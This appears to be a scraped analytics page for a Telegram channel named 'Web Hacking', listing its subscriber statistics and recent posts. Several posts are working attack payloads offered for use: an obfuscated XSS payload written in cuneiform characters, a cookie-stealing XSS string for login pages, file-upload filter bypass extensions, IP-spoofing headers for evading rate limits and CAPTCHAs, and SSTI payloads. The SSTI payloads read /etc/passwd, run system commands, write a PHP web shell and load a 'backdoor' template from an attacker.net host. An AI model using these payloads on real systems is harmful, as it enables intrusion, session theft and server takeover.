ar
Feedback

لا تقع ضحية للمخادعين! تيليمتريو يكتشف ويُميّز هذه القنوات 👉 إذا كنت تريد رؤية العلامة، اشترك 👈

Web Hacking

Web Hacking

الذهاب إلى القناة على Telegram
2 028
المشتركون
لا توجد بيانات24 ساعات
لا توجد بيانات7 أيام
+1830 أيام

جاري تحميل البيانات...

القنوات المماثلة
لا توجد بيانات
هل تواجه مشاكل؟ يرجى تحديث الصفحة أو الاتصال بمدير الدعم الخاص بنا.
سحابة العلامات
لا توجد بيانات
هل تواجه مشاكل؟ يرجى تحديث الصفحة أو الاتصال بمدير الدعم الخاص بنا.
الإشارات الواردة والصادرة
---
---
---
---
---
---
جذب المشتركين
أكتوبر '26
أكتوبر '26
+166
في 0 قنوات
سبتمبر '260
في 0 قنوات
Get PRO
أغسطس '260
في 0 قنوات
Get PRO
يوليو '260
في 0 قنوات
Get PRO
يونيو '260
في 0 قنوات
Get PRO
مايو '260
في 0 قنوات
Get PRO
أبريل '260
في 0 قنوات
Get PRO
مارس '260
في 0 قنوات
Get PRO
فبراير '260
في 1 قنوات
Get PRO
يناير '260
في 0 قنوات
Get PRO
ديسمبر '250
في 0 قنوات
Get PRO
نوفمبر '250
في 0 قنوات
Get PRO
أكتوبر '250
في 0 قنوات
Get PRO
سبتمبر '250
في 0 قنوات
Get PRO
أغسطس '250
في 0 قنوات
Get PRO
يوليو '250
في 0 قنوات
Get PRO
يونيو '250
في 0 قنوات
Get PRO
مايو '250
في 0 قنوات
Get PRO
أبريل '250
في 0 قنوات
Get PRO
مارس '250
في 0 قنوات
Get PRO
فبراير '250
في 0 قنوات
Get PRO
يناير '250
في 0 قنوات
Get PRO
ديسمبر '240
في 0 قنوات
Get PRO
نوفمبر '240
في 0 قنوات
Get PRO
أكتوبر '240
في 0 قنوات
Get PRO
سبتمبر '240
في 0 قنوات
Get PRO
أغسطس '24
+49
في 0 قنوات
Get PRO
يوليو '24
+95
في 0 قنوات
Get PRO
يونيو '24
+87
في 0 قنوات
Get PRO
مايو '24
+127
في 1 قنوات
Get PRO
أبريل '24
+96
في 1 قنوات
Get PRO
مارس '24
+52
في 0 قنوات
Get PRO
فبراير '24
+49
في 0 قنوات
Get PRO
يناير '24
+50
في 0 قنوات
Get PRO
ديسمبر '23
+75
في 0 قنوات
Get PRO
نوفمبر '23
+80
في 0 قنوات
Get PRO
أكتوبر '23
+78
في 0 قنوات
Get PRO
سبتمبر '23
+66
في 0 قنوات
Get PRO
أغسطس '23
+69
في 0 قنوات
Get PRO
يوليو '23
+95
في 0 قنوات
Get PRO
يونيو '23
+50
في 0 قنوات
Get PRO
مايو '23
+69
في 0 قنوات
Get PRO
أبريل '23
+69
في 0 قنوات
Get PRO
مارس '23
+75
في 0 قنوات
Get PRO
فبراير '23
+76
في 0 قنوات
Get PRO
يناير '23
+92
في 0 قنوات
Get PRO
ديسمبر '22
+64
في 0 قنوات
Get PRO
نوفمبر '22
+103
في 0 قنوات
Get PRO
أكتوبر '22
+89
في 0 قنوات
Get PRO
سبتمبر '22
+115
في 0 قنوات
Get PRO
أغسطس '22
+72
في 0 قنوات
Get PRO
يوليو '22
+119
في 0 قنوات
Get PRO
يونيو '22
+30
في 0 قنوات
Get PRO
مايو '22
+24
في 0 قنوات
Get PRO
أبريل '22
+37
في 0 قنوات
Get PRO
مارس '220
في 0 قنوات
Get PRO
فبراير '220
في 0 قنوات
Get PRO
يناير '220
في 0 قنوات
Get PRO
ديسمبر '21
+8
في 0 قنوات
Get PRO
نوفمبر '21
+28
في 0 قنوات
Get PRO
أكتوبر '21
+23
في 0 قنوات
Get PRO
سبتمبر '21
+45
في 0 قنوات
Get PRO
أغسطس '21
+36
في 0 قنوات
Get PRO
يوليو '21
+27
في 0 قنوات
Get PRO
يونيو '21
+27
في 0 قنوات
Get PRO
مايو '21
+31
في 0 قنوات
Get PRO
أبريل '21
+43
في 0 قنوات
Get PRO
مارس '21
+33
في 0 قنوات
Get PRO
فبراير '21
+51
في 0 قنوات
Get PRO
يناير '21
+38
في 0 قنوات
Get PRO
ديسمبر '20
+382
في 0 قنوات
('%00tst@tst.com.br #XSS #Pay…","articleBody":"Payload XSS on login page:\n\n');\\\\('%00tst@tst.com.br\n\n#XSS #Payload","datePublished":"2023-12-30T11:52:15Z","dateModified":"2023-12-30T11:52:47Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-30T11:51:53Z"}}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/133","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/133","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/133","headline":"https://t.me/PythonForCyberSecurity","articleBody":"https://t.me/PythonForCyberSecurity","datePublished":"2023-12-26T03:38:30Z","dateModified":"2023-12-26T03:38:30Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1112},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/132","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/132","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/132","headline":"Bug bounty Cheatsheet: For more like this, join us at: t.me/OSCP_training XSS https://github.com/EdOverflow/b…","articleBody":"Bug bounty Cheatsheet:\n\nFor more like this, join us at:\nt.me/OSCP_training\n\nXSS\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md\nhttps://github.com/ismailtasdelen/xss-payload-list\n\nSQLi\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md\n\nSSRF\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery\n\nCRLF\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection\n\nCSV-Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/csv-injection.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection\n\nCommand Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection\n\nDirectory Traversal\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal\n\nLFI\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion\n\nXXE\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md\n\nOpen-Redirect\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md\n\nRCE\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/rce.md\n\nCrypto\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crypto.md\n\nTemplate Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/template-injection.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\n\nXSLT\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xslt.md\n\nContent Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/content-injection.md\n\nLDAP Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection\n\nNoSQL Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection\n\nCSRF Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection\n\nGraphQL Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection\n\nIDOR\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References\n\nISCM\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management\n\nLaTex Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection\n\nOAuth \nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth\n\nXPATH Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection\n\nBypass Upload Tricky\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files","datePublished":"2023-12-25T19:48:30Z","dateModified":"2023-12-25T19:48:30Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":817},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":33}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-25T19:47:45Z"}}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/131","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/131","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/131","headline":"GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercis…","articleBody":"GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercises, Machines\nhttps://github.com/rodolfomarianocy/OSCP-Tricks-2023","datePublished":"2023-12-21T17:24:15Z","dateModified":"2023-12-21T17:24:15Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":696},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-21T15:45:55Z"}}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/130","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/130","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/130","headline":"Cross-Site Request Forgery https://www.saygili.org/2020/11/cross-site-request-forgery.html","articleBody":"Cross-Site Request Forgery\nhttps://www.saygili.org/2020/11/cross-site-request-forgery.html","datePublished":"2023-12-18T21:05:52Z","dateModified":"2023-12-18T21:05:52Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":889},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/129","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/129","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/129","headline":"HTTP Host Header Attack https://www.saygili.org/2020/11/http-host-header-attack.html","articleBody":"HTTP Host Header Attack\nhttps://www.saygili.org/2020/11/http-host-header-attack.html","datePublished":"2023-12-14T18:48:50Z","dateModified":"2023-12-14T18:48:50Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":937},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/128","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/128","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/128","headline":"WhatsApp'ta Cyber Security kanalını takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","articleBody":"WhatsApp'ta Cyber Security kanalını takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","datePublished":"2023-10-28T08:43:51Z","dateModified":"2023-10-28T08:43:51Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":354},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-10-28T08:43:14Z"}}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/127","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/127","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/127","headline":"https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","articleBody":"https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","datePublished":"2023-10-08T17:13:20Z","dateModified":"2023-10-08T17:13:20Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":549}]}}]}
منشورات القناة
Web Application Lab Setup Guide .pdf1.08 MB

2
a XSS payload, Cuneiform-alphabet based ! 𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆
a XSS payload, Cuneiform-alphabet based ! 𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
1
3
File Upload Bypass - Blacklisting Bypass PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .ph
File Upload Bypass - Blacklisting Bypass PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml Jsp → .jsp, .jspx, .jsw, .jsv, .jspf Coldfusion → .cfm, .cfml, .cfc, .dbm Perl → .pl, .cgi Using random capitalization → .pHp, .pHP5, .PhAr Whitelisting Bypass file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg
4 932
4
Rate Limit Bypass Techniques: Adding HTTP Headers to Spoof IP and Evade Detection: X-Forwarded-For: 127.0.0.1 X-Forwarded-For-Original: 127.0.0.1 X-Forward-For: 127.0.0.1 X-Host: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
699
5
SSTI (Server Side Template Injection) Generic ${{<%[%'"}}%\. {% debug %} {7*7} {{ '7'*7 }} {2*2}[[7*7]] <%= 7 * 7 %>
SSTI (Server Side Template Injection) Generic ${{<%[%'"}}%\. {% debug %} {7*7} {{ '7'*7 }} {2*2}[[7*7]] <%= 7 * 7 %> #{3*3} #{ 3 * 3 } [[3*3]] ${2*2} @(3*3) ${= 3*3} {{= 7*7}} ${{7*7}} #{7*7} [=7*7] {{ request }} {{self}} {{dump(app)}} {{ [] .class.base.subclassesO }} {{''.class.mro()[l] .subclassesO}} for c in [1,2,3] %}{{ c,c,c }}{% endfor %} {{ []._class.base.subclasses_O }} {{['cat%20/etc/passwd']|filter('system')}} PHP {php}print "Hello"{/php} {php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php} {{dump(app)}} {{app.request.server.all|join(',')}} "{{'/etc/passwd'|file_excerpt(1,30)}}"@ {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {$smarty.version} {php}echo id;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} Python {% debug %} {{settings.SECRET_KEY}} {% import foobar %} = Error {% import os %}{{os.system('whoami')}}
4 041
6
Google Dorks to Find Sensitive data or dir
Google Dorks to Find Sensitive data or dir
3 132
7
APIs Fuzzing for Bug Bounty.pdf
708
8
CAPTCHA Bypass * Send old captcha value. * Send old captcha value with old session ID. * Remove captcha with any adblocker and request again * Bypass with OCR * Response manipulation. * Use any token with the same length(+1/-1). * Remove the param value or remove the entire parameter. * Change the method from POST to GET(or PUT) and remove the captcha. * Change body to JSON or vice-versa. * Check whether the value of the captcha is in the source code. * Add headers: X-Forwarded-Host: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Host: 127.0.0.1
570
9
Tryhackme.pdf
564
10
Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image
Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings. Many file uploads allow SVGs and are prone to tampering. <svg width="600" height="400" xmlns="w3.org/2000/svg" xmlns:xhtml="w3.org/1999/xhtml"> <foreignObject width="100%" height="100%"> <body xmlns="w3.org/1999/xhtml"> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>
747
11
لا يوجد نص...
749
12
WhatsApp'ta OSCP Training kanalını takip edin: https://whatsapp.com/channel/0029VaDxObG17EmxK6bvmy3a
961
13
Payload XSS on login page: ');\\</script><script>alert(document.cookie)</script>('%00tst@tst.com.br #XSS #Payload
1
14
https://t.me/PythonForCyberSecurity
1 112
15
Bug bounty Cheatsheet: For more like this, join us at: t.me/OSCP_training XSS https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md https://github.com/ismailtasdelen/xss-payload-list SQLi https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md SSRF https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery CRLF https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection CSV-Injection https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/csv-injection.md https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection Command Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection Directory Traversal https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal LFI https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion XXE https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md Open-Redirect https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md RCE https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/rce.md Crypto https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crypto.md Template Injection https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/template-injection.md https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection XSLT https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xslt.md Content Injection https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/content-injection.md LDAP Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection NoSQL Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection CSRF Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection GraphQL Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection IDOR https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References ISCM https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management LaTex Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection OAuth https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth XPATH Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection Bypass Upload Tricky https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
817
16
GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercises, Machines https://github.com/rodolfomarianocy/OSCP-Tricks-2023
696
17
Cross-Site Request Forgery https://www.saygili.org/2020/11/cross-site-request-forgery.html
889
18
HTTP Host Header Attack https://www.saygili.org/2020/11/http-host-header-attack.html
937
19
WhatsApp'ta Cyber Security kanalını takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q
354
20
https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q
549